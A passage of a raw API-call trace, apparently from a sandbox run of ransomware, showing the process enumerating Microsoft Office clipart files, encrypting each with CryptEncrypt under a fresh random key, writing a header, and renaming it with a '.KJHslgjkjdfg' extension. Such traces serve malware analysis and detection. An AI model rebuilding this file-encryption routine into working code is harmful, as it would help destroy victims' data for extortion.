pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.491] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ce2, lpOverlapped=0x0) returned 1 [0196.492] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0) returned 1 [0196.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.492] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2cf0, lpOverlapped=0x0) returned 1 [0196.492] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.492] SetEndOfFile (hFile=0x130) returned 1 [0196.495] GetProcessHeap () returned 0x2ef0000 [0196.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.495] GetProcessHeap () returned 0x2ef0000 [0196.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.kjhslgjkjdfg")) returned 1 [0196.502] CloseHandle (hObject=0x130) returned 1 [0196.502] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0196.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.502] GetProcessHeap () returned 0x2ef0000 [0196.502] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.502] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.503] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.504] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.504] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.504] GetProcessHeap () returned 0x2ef0000 [0196.504] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.504] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.504] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.504] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.505] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.505] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.505] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2454, lpOverlapped=0x0) returned 1 [0196.506] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2460, dwBufLen=0x2460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2460) returned 1 [0196.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.506] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2460, lpOverlapped=0x0) returned 1 [0196.506] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.507] SetEndOfFile (hFile=0x130) returned 1 [0196.509] GetProcessHeap () returned 0x2ef0000 [0196.509] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.509] GetProcessHeap () returned 0x2ef0000 [0196.509] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.kjhslgjkjdfg")) returned 1 [0196.510] CloseHandle (hObject=0x130) returned 1 [0196.510] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0196.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.510] GetProcessHeap () returned 0x2ef0000 [0196.510] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.510] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.510] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.510] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.510] GetProcessHeap () returned 0x2ef0000 [0196.510] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.511] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.511] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.511] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.512] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.512] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.512] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.513] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.513] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.513] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.513] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfc0, lpOverlapped=0x0) returned 1 [0196.513] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0) returned 1 [0196.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.513] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfc0, lpOverlapped=0x0) returned 1 [0196.513] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.513] SetEndOfFile (hFile=0x130) returned 1 [0196.515] GetProcessHeap () returned 0x2ef0000 [0196.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.515] GetProcessHeap () returned 0x2ef0000 [0196.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.kjhslgjkjdfg")) returned 1 [0196.516] CloseHandle (hObject=0x130) returned 1 [0196.516] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0196.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.518] GetProcessHeap () returned 0x2ef0000 [0196.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.520] GetProcessHeap () returned 0x2ef0000 [0196.520] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.520] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.520] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10f4, lpOverlapped=0x0) returned 1 [0196.524] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1100, dwBufLen=0x1100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1100) returned 1 [0196.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.524] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1100, lpOverlapped=0x0) returned 1 [0196.524] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.525] SetEndOfFile (hFile=0x130) returned 1 [0196.525] GetProcessHeap () returned 0x2ef0000 [0196.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.526] GetProcessHeap () returned 0x2ef0000 [0196.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.kjhslgjkjdfg")) returned 1 [0196.526] CloseHandle (hObject=0x130) returned 1 [0196.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0196.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.527] GetProcessHeap () returned 0x2ef0000 [0196.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.527] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.529] GetProcessHeap () returned 0x2ef0000 [0196.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.529] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.529] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.529] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bac, lpOverlapped=0x0) returned 1 [0196.530] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bb0) returned 1 [0196.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.530] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bb0, lpOverlapped=0x0) returned 1 [0196.530] CryptDestroyKey (hKey=0x2f182c8) returned 1 